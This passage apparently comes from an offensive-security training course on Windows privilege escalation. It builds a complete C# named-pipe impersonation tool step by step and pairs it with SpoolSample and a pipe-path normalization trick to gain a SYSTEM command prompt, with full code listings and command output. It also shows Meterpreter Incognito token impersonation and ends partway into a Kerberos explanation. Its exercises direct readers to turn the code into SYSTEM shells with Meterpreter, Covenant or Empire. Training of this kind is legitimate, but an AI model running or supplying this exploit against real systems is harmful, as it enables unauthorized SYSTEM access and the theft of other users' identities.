    a regular user command prompt as well as an elevated command prompt.

Elevation with Impersonation

In the previous section, we discussed how the privileges of an access
token decide the access rights of an authenticated user. Now let's
discuss how we can leverage certain privileges for escalation.

In the past, security researchers have identified[667] nine different
privileges that may allow for privilege escalation from medium
integrity to either high integrity or system integrity, or enable
compromise of processes running as another authenticated user.

Explaining all nine privileges in-depth and how they may be used to
escalate privileges is beyond the scope of this module, but we'll
focus on SeImpersonatePrivilege.

SeImpersonatePrivilege allows us to impersonate any token for
which we can get a reference, or handle.[668] This privilege is
quite interesting since the built-in Network Service account, the
LocalService[669] account, and the default IIS account have it
assigned by default. Because of this, gaining code execution on a web
server will often give us access to this privilege and potentially
offer the possibility to escalate our access.

If we have the SeImpersonatePrivilege privilege we can often use the
Win32 DuplicateTokenEx[670] API to create a primary token from
an impersonation token and create a new process in the context of the
impersonated user.

When no tokens related to other user accounts are available in memory,
we can likely force the SYSTEM account to give us a token that we can
impersonate.

To leverage the SeImpersonatePrivilege privilege, in this section we
are going to use a post exploitation attack[671] that relies on
Windows pipes.[672]

Pipes are a means of interprocess communication (IPC),[673] just
like RPC, COM, or even network sockets.

A pipe is a section of shared memory inside the kernel that processes
can use for communication. One process can create a pipe (the pipe
server) while other processes can connect to the pipe (pipe clients)
and read/write information from/to it, depending on the configured
access rights for a given pipe.

Anonymous[674] pipes are typically used for communication between
parent and child processes, while named[675] pipes are more
broadly used. In our examples we'll make use of named pipes, because
they have more functionality and more importantly, they support
impersonation.

The attack that we are going to simulate (based on a technique
developed by the security researcher Lee Christensen[676]) can force
the SYSTEM account to connect to a named pipe set up by an attacker.

While the technique was originally developed as part of an Active
Directory attack, it can also be used locally. It is based on the
print spooler service,[677] which is started by default and runs in
a SYSTEM context.

We'll discuss the technique in more detail later. For now, it's
important to understand that the attack is based on the fact
that the print spooler monitors printer object changes and sends
change notifications to print clients by connecting to their
respective named pipes. If we can create a process running with the
SeImpersonatePrivilege privilege that simulates a print client, we
will obtain a SYSTEM token that we can impersonate.

To demonstrate this, let's create a C# application that creates
a pipe server (i.e. a "print client"), waits for a connection, and
attempts to impersonate the client that connects to it.

The first key component of this attack is the
ImpersonateNamedPipeClient[678] API, which allows impersonation
of the token from the account that connects to the pipe if the server
has SeImpersonatePrivilege. When ImpersonateNamedPipeClient is
called, the calling thread will use the impersonated token instead of
its default token.

In order to create our first proof of concept, we'll have to use the
Win32 CreateNamedPipe,[679] ConnectNamedPipe,[680] and
ImpersonateNamedPipeClient APIs.

As the name suggests, CreateNamedPipe creates a pipe. Its function
prototype is shown in Listing 17.

HANDLE CreateNamedPipeA(
  LPCSTR                lpName,
  DWORD                 dwOpenMode,
  DWORD                 dwPipeMode,
  DWORD                 nMaxInstances,
  DWORD                 nOutBufferSize,
  DWORD                 nInBufferSize,
  DWORD                 nDefaultTimeOut,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes
);

Listing 17 - CreateNamedPipe function prototype

This API accepts a number of relatively simple arguments.
The first, and most important, is the pipe name (lpName).
All named pipes must have a standardized name format (such as
\\.\pipe\pipename) and must be unique on the system.

The second argument (dwOpenMode) describes the mode the pipe
is opened in. We'll specify a bi-directional pipe with the
PIPE_ACCESS_DUPLEX enum using its numerical equivalent of "3".
The third argument (dwPipeMode) describes the mode the pipe operates
in. We'll specify PIPE_TYPE_BYTE to directly write and read bytes
along with PIPE_WAIT to enable blocking mode. This will allow us to
listen on the pipe until it receives a connection. We'll specify the
combination of these two modes with the numerical value "0".

The maximum number of instances for the pipe is specified through
nMaxInstances. This is primarily used to ensure efficiency in
larger applications, and any value between 1 and 255 works for us.
nOutBufferSize and nInBufferSize define the number of bytes to use
for the input and output buffer. We'll choose one memory page (0x1000
bytes).

The second-to-last argument defines the default time-out value that
is used with the WaitNamedPipe[681] API. Since we are using
a blocking named pipe, we don't care about this and can choose the
default value of 0. For the last argument, we must submit a SID
detailing which clients can interact with the pipe. We'll set this to
NULL to allow the SYSTEM and local administrators to access it.

At this point, we will create a new Visual Studio solution and
insert the P/Invoke DllImport statement along with the call to
CreateNamedPipe:

using System;
using System.Runtime.InteropServices;

namespace PrintSpooferNet
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr CreateNamedPipe(string lpName, uint dwOpenMode, uint dwPipeMode, uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize, uint nDefaultTimeOut, IntPtr lpSecurityAttributes);

        static void Main(string[] args)
        {
            if (args.Length == 0)
            {
                Console.WriteLine("Usage: PrintSpooferNet.exe pipename");
                return;
            }
            string pipeName = args[0];
            IntPtr hPipe = CreateNamedPipe(pipeName, 3, 0, 10, 0x1000, 0x1000, 0, IntPtr.Zero);
        }
    }
}

Listing 18 - Code to import and call CreateNamedPipe

This code expects the pipe name to be passed on the command line.

Next, we must invoke ConnectNamedPipe. The function prototype is
shown in Listing 19.

BOOL ConnectNamedPipe(
  HANDLE       hNamedPipe,
  LPOVERLAPPED lpOverlapped
);

Listing 19 - ConnectNamedPipe function prototype

The first argument (hNamedPipe) is a handle to the pipe that is
returned by CreateNamedPipe and the second (lpOverlapped) is a
pointer to a structure used in more advanced cases. In our case, we'll
simply set this to NULL.

The code addition required to import and call ConnectNamedPipe is
shown in Listing 20.

[DllImport("kernel32.dll")]
static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped);
...
ConnectNamedPipe(hPipe, IntPtr.Zero);

Listing 20 - Code to import and call ConnectNamedPipe

After we have called ConnectNamedPipe, the application will wait
for any incoming pipe client. Once a connection is made, we'll call
ImpersonateNamedPipeClient to impersonate the client.

ImpersonateNamedPipeClient accepts the pipe handle as its
only argument per its function prototype as shown in Listing
21.

BOOL ImpersonateNamedPipeClient(
  HANDLE hNamedPipe
);

Listing 21 - ImpersonateNamedPipeClient function prototype

The rather simple code additions importing and calling
ImpersonateNamedPipeClient are shown in Listing 22.

[DllImport("Advapi32.dll")]
static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);
...
ImpersonateNamedPipeClient(hPipe);

Listing 22 - Code to import and call ImpersonateNamedPipeClient

At this point, our code will start a pipe server, listen for incoming
connections, and impersonate them.

If everything works correctly, ImpersonateNamedPipeClient will
assign the impersonated token to the current thread, but we have no
way of confirming this in our current application.

To verify the success of our attack, we can open the
impersonated token with OpenThreadToken[682] and then use
GetTokenInformation[683] to obtain the SID associated with
the token. Finally, we can call ConvertSidToStringSid[684] to
convert the SID to a readable SID string.

While this confirmation does not have to be part of our final exploit,
it helps us understand the attack. Let's add these APIs to our code.

The function prototype for OpenThreadToken is shown in Listing
23.

BOOL OpenThreadToken(
  HANDLE  ThreadHandle,
  DWORD   DesiredAccess,
  BOOL    OpenAsSelf,
  PHANDLE TokenHandle
);

Listing 23 - OpenThreadToken function prototype

First we must supply a handle to the thread (ThreadHandle)
associated with this token. Since the thread in question is the
current thread, we'll use the Win32 GetCurrentThread[685] API,
which does not require any arguments and simply returns the handle.

Next we must specify the level of access (DesiredAccess) we want
to the token. To avoid any issues, we'll ask for all permissions
(TOKEN_ALL_ACCESS[686]) with its numerical value of 0xF01FF.

OpenAsSelf specifies whether the API should use the security context
of the process or the thread. Since we want to use the impersonated
token, we'll set this to false.

Finally, we must supply a pointer (TokenHandle), which will be
populated with a handle to the token that is opened. Code additions
are shown in Listing 24.

[DllImport("kernel32.dll")]
private static extern IntPtr GetCurrentThread();

[DllImport("advapi32.dll", SetLastError = true)]
static extern bool OpenThreadToken(IntPtr ThreadHandle, uint DesiredAccess, bool OpenAsSelf, out IntPtr TokenHandle);
...
IntPtr hToken;
OpenThreadToken(GetCurrentThread(), 0xF01FF, false, out hToken);

Listing 24 - Code additions to call OpenThreadToken

Next, we'll invoke GetTokenInformation. This API can return a
variety of information, but we'll simply request the SID. The function
prototype is shown in Listing 25.

BOOL GetTokenInformation(
  HANDLE                  TokenHandle,
  TOKEN_INFORMATION_CLASS TokenInformationClass,
  LPVOID                  TokenInformation,
  DWORD                   TokenInformationLength,
  PDWORD                  ReturnLength
);

Listing 25 - GetTokenInformation function prototype

The first argument (TokenHandle) is the token we obtained from
OpenThreadToken, and the second argument (TokenInformationClass)
specifies the type of information we want to obtain.

TOKEN_INFORMATION_CLASS[687] is an enum that contains
values specifying the type of information we can retrieve from an
access token via GetTokenInformation. Since we simply want the SID,
we can pass TokenUser, which has the numerical value of "1", for the
TOKEN_INFORMATION_CLASS argument.

TokenInformation is a pointer to the output buffer that will be
populated by the API and TokenInformationLength is the size of the
output buffer. Since we don't know the required size of the buffer,
the recommended way of using the API is to call it twice. The first
time, we set these two arguments values to NULL and 0 respectively and
then ReturnLength will be populated with the required size.

After this, we can allocate an appropriate buffer and call the
API a second time. The require code updates are shown in Listing
26.

[DllImport("advapi32.dll", SetLastError = true)]
static extern bool GetTokenInformation(IntPtr TokenHandle, uint TokenInformationClass, IntPtr TokenInformation, int TokenInformationLength, out int ReturnLength);
...
int TokenInfLength = 0;
GetTokenInformation(hToken, 1, IntPtr.Zero, TokenInfLength, out TokenInfLength);
IntPtr TokenInformation = Marshal.AllocHGlobal((IntPtr)TokenInfLength);
GetTokenInformation(hToken, 1, TokenInformation, TokenInfLength, out TokenInfLength);

Listing 26 - Code additions to call GetTokenInformation

To allocate the TokenInformation buffer, we'll use the .NET
Marshal.AllocHGlobal[688] method, which can allocate unmanaged
memory.

As the final step, we'll use ConvertSidToStringSid to convert the
binary SID to a SID string that we can read. The function prototype of
ConvertSidToStringSid is shown in Listing 27.

BOOL ConvertSidToStringSidW(
  PSID   Sid,
  LPWSTR *StringSid
);

Listing 27 - ConvertSidToStringSid function prototype

The first argument (Sid) is a pointer to the SID. The SID is in the
output buffer that was populated by GetTokenInformation, but we must
extract it first.

One way to do this is to define the TOKEN_USER[689]
structure (which is part of the TOKEN_INFORMATION_CLASS used
by GetTokenInformation) and then marshal a pointer to it with
Marshal.PtrToStructure.[690]

For the last argument (*StringSid), we'll supply the output string.
Here we can simply supply an empty pointer and once it gets populated,
marshal it to a C# string with Marshal.PtrToStringAuto.[691]

The required structures, import, and added code are shown in Listing
28.

 [StructLayout(LayoutKind.Sequential)]
public struct SID_AND_ATTRIBUTES
{
    public IntPtr Sid;
    public int Attributes;
}

public struct TOKEN_USER
{
    public SID_AND_ATTRIBUTES User;
}
...
[DllImport("advapi32", CharSet = CharSet.Auto, SetLastError = true)]
static extern bool ConvertSidToStringSid(IntPtr pSID, out IntPtr ptrSid);
...
TOKEN_USER TokenUser = (TOKEN_USER)Marshal.PtrToStructure(TokenInformation, typeof(TOKEN_USER));
IntPtr pstr = IntPtr.Zero;
Boolean ok = ConvertSidToStringSid(TokenUser.User.Sid, out pstr);
string sidstr = Marshal.PtrToStringAuto(pstr);
Console.WriteLine(@"Found sid {0}", sidstr);

Listing 28 - Code additions to call ConvertSidToStringSid

At the end of Listing 28, we print the SID associated
with the token to the console, showing which user we impersonated.

Now we have finally written all the code we need to start our test
and better understand the use of named pipes for impersonation and
privilege escalation.

As previously mentioned, we must execute the code in the context of
a user account that has the SeImpersonatePrivilege access right.
For our attack demonstration, we'll log in to appsrv01 as the domain
user admin and use PsExec to open a command prompt as the built-in
Network Service account as shown in Listing 29.

C:\Tools\SysInternalsSuite> psexec64 -i -u "NT AUTHORITY\Network Service" cmd.exe

PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

Listing 29 - Opening a command prompt as Network Service

Before we execute our application, we can verify the user and the
presence of SeImpersonatePrivilege in the new command prompt:

C:\Tools> whoami
nt authority\network service

C:\Tools> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

Listing 30 - User and privileges

Now we can compile our assembled code and transfer it to appsrv01.

Next, we execute it and supply a random pipe name as shown in Listing
31.

C:\Tools>PrintSpooferNet.exe \\.\pipe\test

Listing 31 - Starting the pipe server

To simulate a connection, we can open an elevated command prompt and write
to the pipe as shown in Listing 32.

C:\Users\Administrator> echo hello > \\localhost\pipe\test

Listing 32 - Writing to the pipe

When we switch back to the command prompt running our application, we
find that a SID has been printed:

C:\Tools> PrintSpooferNet.exe \\.\pipe\test
Found sid S-1-5-21-1587569303-1110564223-1586047116-500

Listing 33 - SID of built in administrator

Our code has impersonated a token and resolved the associated SID.

To verify that this SID belongs to the administrator account, we
can switch back to the elevated command prompt and dump it as shown in
Listing 34.

C:\Users\Administrator> whoami /user

USER INFORMATION
----------------

User Name           SID
=================== =============================================
corp1\administrator S-1-5-21-1587569303-1110564223-1586047116-500

Listing 34 - Dumping SID with whoami

This proves that we have indeed impersonated the built-in domain
administrator account. More importantly, we can impersonate anyone who
connects to our named pipe.

It's now time to test our application leveraging the print spooler
service. Communication to the spooler service is done through Print
System Remote Protocol
(MS-RPRN),[692] which dates back to 2007 and
is not well documented. Fortunately for us, the MS-RPRN works through
named pipes and the pipe name used by the print spooler service is
\pipe\spoolss.

The potential for abuse comes from the RpcOpenPrinter[693] and
RpcRemoteFindFirstPrinterChangeNotification[694] functions.
RpcOpenPrinter allows us to retrieve a handle for the printer
server, which is used as an argument to the second API.

RpcRemoteFindFirstPrinterChangeNotification essentially monitors
printer object changes and sends change notifications to print
clients.

Once again, this change notification requires the print spooler to
access the print client. If we ensure that the print client is our
named pipe, it will obtain a SYSTEM token that we can impersonate.

Sadly, unlike regular Win32 APIs, MS-RPRN APIs can not be called
directly. Print spooler functionality resides in the unmanaged
RpcRT4.dll library and is called through the proxy function
NdrClientCall2,[695] which uses a binary format to pass and invoke
underlying functions. The implementation of these calls are beyond the
scope of this module.

Luckily, we can use the SpoolSample C# implementation written
by Lee Christensen[696] or the PowerShell code written by
Vincent Le Toux.[697] A compiled version of SpoolSample is
located in the C:\Tools folder of appsrv01.

The SpoolSample application and the entire printer bug technique
was developed to be used in an Active Directory setting and was not
specifically designed for local privilege escalation.

When we use SpoolSample, we must specify the name of the server to
connect to (the victim) and the name of the server we control (the
attacker), also called the capture server. Since we are performing the
attack locally, both servers are the same. This presents a challenge.

The print spooler service (running as SYSTEM on the victim) needs to
contact the simulated print client (through our pipe) but since they
are on the same host, they in effect require the same default pipe
name (pipe\spoolss). Because of this, we cannot create the
named pipe with the required name easily.

In order to find a solution, we first must understand the problem in
detail. To do this, we will monitor the target system with Process
Monitor from SysInternals while executing SpoolSample.exe
against an arbitrary pipe name.Process Monitor is located in the
C:\Tools\SysInternals folder.

First, we'll configure a capture filter with Filter >
Filter and select Process Name from the dropdown menu, setting
this to "spoolsv.exe" to filter for print spooler events. We'll then
click Add followed by Apply and exit the filter menu by selecting
OK.

Then, we'll execute SpoolSample.exe and specify the current
hostname followed by an arbitrary pipe name as shown in Listing
35.

C:\Tools> SpoolSample.exe appsrv01 appsrv01\test
[+] Converted DLL to shellcode
[+] Executing RDI
[+] Calling exported function
TargetServer: \\appsrv01, CaptureServer: \\appsrv01\test
Attempted printer notification and received an invalid handle. The coerced authentication probably worked!

Listing 35 - Invoking SpoolSample with arbitrary pipe name

Although the application output indicates that a printer notification
callback was configured, Process Monitor shows that no access
to the arbitrary pipe name has occurred as displayed in Figure
2.

Figure 2: No connections from spoolss

This is because, before attempting to access the client pipe, the
print spooler service validates the pipe path, making sure it matches
the default name "pipe\spoolss". Our arbitrary pipe "test" fails
this validation and, consequently, the print spooler service doesn't
even attempt to connect to the client. This is why we don't see any
successful nor failed attempt in Process Monitor. Unfortunately, as
mentioned before, we cannot specify "spoolss" as a name since it is
already in use by the print spooler service we are targeting.

At this point, it is useful to know what happens when a file path is
supplied to a Win32 API. When directory separators are used as a part
of the file path, they are converted to canonical form. Specifically,
forward slashes ("/") will be converted to backward slashes ("\").
This is also known as file path normalization.[698]

Interestingly enough, the security researcher @jonaslyk discovered
that if we provide SpoolSample with an arbitrary pipe name containing
a forward slash after the hostname ("appsrv01/test"), the spooler
service will not interpret it correctly and it will append the
default name "pipe\spoolss" to our own path before processing it.
This effectively bypasses the path validation and the resulting path
("appsrv01/test\pipe\spoolss") is then normalized before the spooler
service attempts to send a print object change notification message to
the client.

This obviously can help us because this pipe name differs from the
default one used by the print spooler service, and we can register it
in order to simulate a print client.

To verify this, we can repeat our last example but this time supplying
an arbitrary pipe name that contains a forward slash in the print
client name:

C:\Tools> SpoolSample.exe appsrv01 appsrv01/test
[+] Converted DLL to shellcode
[+] Executing RDI
[+] Calling exported function
TargetServer: \\appsrv01, CaptureServer: \\appsrv01/test
RpcRemoteFindFirstPrinterChangeNotificationEx failed.Error Code 1707 - The network address is invalid.

Listing 36 - Invoking SpoolSample with forward slash

We receive an error and Process Monitor confirms the theory
(Figure 3).

Figure 3: Path canonicalized and attempted access

First, the path we supplied
(appsrv01/test) has been switched to a canonical form
(appsrv01\test) as part of the full path.

Second, spoolsv.exe attempted to access the named pipe
\\.\appsrv01\test\pipe\spoolss while performing the
callback. Since we have not created a pipe server by that name yet,
the request failed.

At this point, we just need to create a pipe server with that name
and simulate a print client. When we execute SpoolSample, the print
spooler service will connect to our pipe.

To do this, we'll open another command prompt and launch our
PrintSpooferNet application. Recall that we are launching our
application from a Network Service command prompt because we are
demonstrating a scenario where we have exploited a process that has
the SeImpersonatePrivilege, and we are trying to escalate to SYSTEM.

C:\Tools> PrintSpooferNet.exe \\.\pipe\test\pipe\spoolss

Listing 37 - Creating the pipe server

Now we'll invoke SpoolSample to trigger the change notification
against the capture server (appsrv01/pipe/test) as shown in Listing
38.

C:\Tools> SpoolSample.exe appsrv01 appsrv01/pipe/test
[+] Converted DLL to shellcode
[+] Executing RDI
[+] Calling exported function
TargetServer: \\appsrv01, CaptureServer: \\appsrv01/pipe/test
RpcRemoteFindFirstPrinterChangeNotificationEx failed.Error Code 1722 - The RPC server is unavailable.

Listing 38 - Invoking SpoolSample again the pipe server

Our application reveals a connection from the "S-1-5-18" SID :

C:\Tools>PrintSpooferNet.exe \\.\pipe\test\pipe\spoolss
Found sid S-1-5-18

Listing 39 - Invoking SpoolSample with forward slash

This SID value belongs to the SYSTEM account[699] proving that our
technique worked. Excellent!

We now have a way of forcing the SYSTEM account to authenticate to
our named pipe, which allows us to impersonate it. To complete this
attack, we must now take advantage of the impersonated token, which we
will do by launching a new command prompt as SYSTEM.

The Win32 CreateProcessWithTokenW[700] API can create
a new process based on a token. The token must be a primary token, so
we'll first use DuplicateTokenEx to convert the impersonation token
to a primary token.

The function prototype for DuplicateTokenEx is shown in Listing
40.

BOOL DuplicateTokenEx(
  HANDLE                       hExistingToken,
  DWORD                        dwDesiredAccess,
  LPSECURITY_ATTRIBUTES        lpTokenAttributes,
  SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
  TOKEN_TYPE                   TokenType,
  PHANDLE                      phNewToken
);

Listing 40 - DuplicateTokenEx function prototype

First, we'll supply the impersonation token by recovering it with
OpenThreadToken. We'll request full access to the token with the
numerical value 0xF01FF for the dwDesiredAccess argument. For the
third argument (lpTokenAttributes), we'll use a default security
descriptor for the new token by setting this to NULL.

ImpersonationLevel must be set to
SecurityImpersonation,[701] which is the access type
we currently have to the token. This has a numerical value
of "2". For the TokenType, we'll specify a primary token
(TokenPrimary[702]) by setting this to "1".

The final argument (phNewToken) is a pointer that will be populated
with the handle to the duplicated token. The code additions are shown
in Listing 41.

[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public extern static bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, uint ImpersonationLevel, uint TokenType, out IntPtr phNewToken);
...
IntPtr hSystemToken = IntPtr.Zero;
DuplicateTokenEx(hToken, 0xF01FF, IntPtr.Zero, 2, 1, out hSystemToken);

Listing 41 - Code additions to call DuplicateTokenEx

With the token duplicated as a primary token, we can call
CreateProcessWithToken to create a command prompt as SYSTEM.

Listing 42 lists the function prototype for
CreateProcessWithToken.

BOOL CreateProcessWithTokenW(
  HANDLE                hToken,
  DWORD                 dwLogonFlags,
  LPCWSTR               lpApplicationName,
  LPWSTR                lpCommandLine,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCWSTR               lpCurrentDirectory,
  LPSTARTUPINFOW        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);

Listing 42 - CreateProcessWithToken function prototype

First, we'll supply the newly duplicated token followed by a
logon option, which we set to its default of 0. For the third
(lpApplicationName) and fourth (lpCommandLine) arguments, we'll
supply NULL and the full path of cmd.exe, respectively.

The creation flags (dwCreationFlags), environment block
(lpEnvironment), and current directory (lpCurrentDirectory)
arguments can be set to 0, NULL, and NULL respectively to select the
default options.

For the two last arguments (lpStartupInfo and
lpProcessInformation), we must pass STARTUPINFO[266-1] and
PROCESS_INFORMATION[267-1] structures, which are populated by the API
during execution. Neither of these are defined in P/invoke imports so
we must define them ourselves as shown in the following code:

[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
    public IntPtr hProcess;
    public IntPtr hThread;
    public int dwProcessId;
    public int dwThreadId;
}

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
    public Int32 cb;
    public string lpReserved;
    public string lpDesktop;
    public string lpTitle;
    public Int32 dwX;
    public Int32 dwY;
    public Int32 dwXSize;
    public Int32 dwYSize;
    public Int32 dwXCountChars;
    public Int32 dwYCountChars;
    public Int32 dwFillAttribute;
    public Int32 dwFlags;
    public Int16 wShowWindow;
    public Int16 cbReserved2;
    public IntPtr lpReserved2;
    public IntPtr hStdInput;
    public IntPtr hStdOutput;
    public IntPtr hStdError;
}
[DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool CreateProcessWithTokenW(IntPtr hToken, UInt32 dwLogonFlags, string lpApplicationName, string lpCommandLine, UInt32 dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
...
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
STARTUPINFO si = new STARTUPINFO();
si.cb = Marshal.SizeOf(si);
CreateProcessWithTokenW(hSystemToken, 0, null, "C:\\Windows\\System32\\cmd.exe", 0, IntPtr.Zero, null, ref si, out pi);

Listing 43 - Code additions to call CreateProcessWithTokenW

With all the code written, we'll compile and transfer it to the
Windows Server 2019 machine. We'll execute this just as before, by
first launching our application to create the pipe server with the
name "\\.\appsrv01\test\pipe\spoolss".

Next, we'll launch SpoolSample with the capture server set to
"\\appsrv01/pipe/test", which will force the SYSTEM account to
connect to our named pipe and a new command prompt is opened.

When we interact with it and display the user, we find it to be
SYSTEM:

C:\Windows\system32> whoami /user

USER INFORMATION
----------------

User Name   SID
=========== ========
nt authority\system S-1-5-18

Listing 44 - System command prompt

With this attack, we can elevate our privileges from an unprivileged
account that has the SeImpersonatePrivilege to SYSTEM on any modern
Windows system including Windows 2019 and the newest versions of
Windows 10. Nice!

A C++ implementation of this attack that has the SpoolSample
functionality embedded is available by the researcher who discovered
the technique.[703]

Most native and third-party services that do not require
administrative permissions run as Network Service or Local Service,
partly due to Microsoft's recommendation. This attack technique means
that compromising an unprivileged service is just as valuable as a
SYSTEM service.

The technique shown in this section is not the only possible way
of leveraging impersonation to obtain SYSTEM integrity. A similar
technique that also uses pipes has been discovered by Alex Ionescu
and Yarden Shafir.[704] It impersonates the RPC system service
(RpcSs),[705] which typically contains SYSTEM tokens that can be
stolen. Note that this technique only works for Network Service.

On older versions of Windows 10 and Windows Server 2016, the Juicy
Potato tool obtains SYSTEM integrity through a local man-in-the-middle
attack through COM.[706] It is blocked on Windows 10 version 1809
and newer along with Windows Server 2019, which inspired the release
of the RoguePotato[707] tool, expanding this technique to
provide access to the RpcSs service and subsequently SYSTEM integrity
access.

Lastly, the beans[708] technique based on local man-in-the-middle
authentication with Windows Remote Management (WinRM)[709] also
yields SYSTEM integrity access. The caveat of this technique is that
it only works on Windows clients, not servers, by default.

In the next section, we'll demonstrate how to impersonate tokens from
other authenticated users instead of simply advancing straight to
SYSTEM.

Exercises

  1. Combine the code and verify the token impersonation.
  2. Use the C# code and combine it with previous tradecraft to obtain
    a Meterpreter, Covenant, or Empire SYSTEM shell.
  3. Try to use the attack in the context of Local Service instead of
    Network Service.

Fun with Incognito

In this section, we'll use the Meterpreter Incognito[710] module
to impersonate any logged in users and obtain code execution in their
context without access to any passwords or hashes.

Although we'll use Mimikatz to collect Kerberos authentication
credentials later in this module, this access token attack vector does
not rely on Mimikatz and may evade some detection software.

To demonstrate this, we'll authenticate to appsrv01 as the admin
user through Remote Desktop and leave the connection open. We'll then
switch to one of the SYSTEM integrity Meterpreter shells we obtained
in the previous sections.

Next, we'll load the Incognito extension through the load
command as shown in Listing 45 and run help
to display available commands.

meterpreter > load incognito
Loading extension incognito...Success.

meterpreter > help incognito

Incognito Commands
==================

    Command              Description
    -------              -----------
    add_group_user       Attempt to add a user to a global group with all tokens
    add_localgroup_user  Attempt to add a user to a local group with all tokens
    add_user             Attempt to add a user with all tokens
    impersonate_token    Impersonate specified token
    list_tokens          List tokens available under current user context
    snarf_hashes         Snarf challenge/response hashes for every token

Listing 45 - Loading Incognito extension

We'll focus on list_tokens -u, which will list all currently
used tokens by unique username:

meterpreter > list_tokens -u

Delegation Tokens Available
========================================
corp1\admin
IIS APPPOOL\DefaultAppPool
NT AUTHORITY\IUSR
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
NT SERVICE\SQLTELEMETRY$SQLEXPRESS
Window Manager\DWM-1

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON

Listing 46 - Dumping available tokens

The output reveals a delegation token for the domain user admin.

Next we'll run impersonatetoken to impersonate the _admin
user through the Win32 ImpersonateLoggedOnUser[711] API.
To invoke it, we must specify the user name of the token we want to
impersonate:

meterpreter > impersonate_token corp1\\admin
[+] Delegation token available
[+] Successfully impersonated user corp1\admin

meterpreter > getuid
Server username: corp1\admin

Listing 47 - Impersonating token for the user admin

Listing 47 shows that we were able to impersonate
the domain user admin from a delegation token, which will allow
us to perform actions on this server and authenticate against remote
computers in the context of that user.

With this approach, we have impersonated a user within a Meterpreter
shell without writing to disk.

Exercise

  1. Use a SYSTEM Meterpreter shell to list all tokens and impersonate a
    delegation token for the domain user admin.

Kerberos and Domain Credentials

In an Active Directory implementation, Kerberos[712] handles most
user and integrated service authentication.

In the following sections, we'll explore how the Kerberos protocol
is implemented in Windows and how we can leverage it for credential
stealing.

Kerberos Authentication

The Microsoft implementation of the Kerberos authentication protocol
was adopted from the Kerberos version 5 authentication protocol
created by MIT[713] and has been Microsoft's primary authentication
mechanism since Windows Server 2003. While NTLM authentication works
through a principle of challenge and response, Windows-based Kerberos
authentication uses a ticket system.

At a high level, Kerberos client authentication to a service in Active
Directory involves the use of a domain controller in the role of a
Key Distribution Center (KDC).[714] This process is shown in Figure
4.

Figure 4: Diagram of Kerberos Authentication

Let's review this process in detail in order to lay a foundation for
discussion in the following section.

When a user logs in, a request is sent to the Domain Controller. This
DC serves as a KDC and runs the Authentication Server service. The
initial Authentication Server Request (AS_REQ) contains a timestamp
encrypted using a hash derived from the current user's username
and password.[715]

When the service receives the request, it looks up the password hash
associated with that user and attempts to decrypt the timestamp.
If the decryption process is successful and the timestamp is not
a duplicate (a potential replay attack), the authentication is
considered successful.

The service replies to the client with an Authentication Server
Reply
(AS_REP), which contains a session key (since Kerberos
is stateless) and a Ticket Granting Ticket (TGT). The session key
is encrypted using the user's password hash, which the client could
decrypt and reuse. The TGT contains user information (including group
memberships), the domain, a timestamp, the IP address of the client,
and the session key.

In order to avoid tampering, the TGT is encrypted by a secret key
known only to the KDC and can not be decrypted by the client. Once
the client has received the session key and the TGT, the KDC considers
the client authentication complete. By default, the TGT will be valid
for 10 hours. During this time, the user is not required to retype the
password and the TGT can be renewed without entering the password.

When the user attempts to access domain resources, such as a network
share, Exchange mailbox, or some other application with a registered
Service Principal Name (SPN),[716] the KDC is contacted again.

This time, the client constructs a Ticket Granting Service Request
(TGS_REQ) packet that consists of the current user and a timestamp
(encrypted using the session key), the SPN of the resource, and the
encrypted TGT.

Next, the ticket granting service on the KDC receives the TGS_REQ,
and if the SPN exists in the domain, the TGT is decrypted using the
secret key known only to the KDC. The session key is then extracted
from the decrypted TGT, and this key is used to decrypt the username
and timestamp of the request. If the TGT has a valid timestamp (no
replay detected and the request has not expired), the TGT and session
key usernames match, and the origin and TGT IP addresses match, the
request is accepted.

If this succeeds, the ticket granting service responds to the client
with a Ticket Granting Server Reply (TGS_REP). This packet contains
three parts:

  1. The SPN to which access has been granted.
  2. A session key to be used between the client and the SPN.
  3. A service ticket containing the username and group memberships
    along with the newly-created session key.

The first two parts (the SPN and session key) are encrypted using the
session key associated with the creation of the TGT and the service
ticket is encrypted using the password hash of the service account
registered with the target SPN.

Once the authentication process with the KDC is complete and
the client has both a session key and a service ticket, service
authentication begins.

First, the client sends an Application Request (AP_REQ), which
includes the username and a timestamp encrypted with the session
key associated with the service ticket along with the service ticket
itself.

The service decrypts the service ticket using its own password hash,
extracts the session key from it, and decrypts the supplied username.
If the usernames match, the request is accepted. Before access is
granted, the service inspects the supplied group memberships in the
service ticket and assigns appropriate permissions to the user, after
which the user may make use of the service as required.

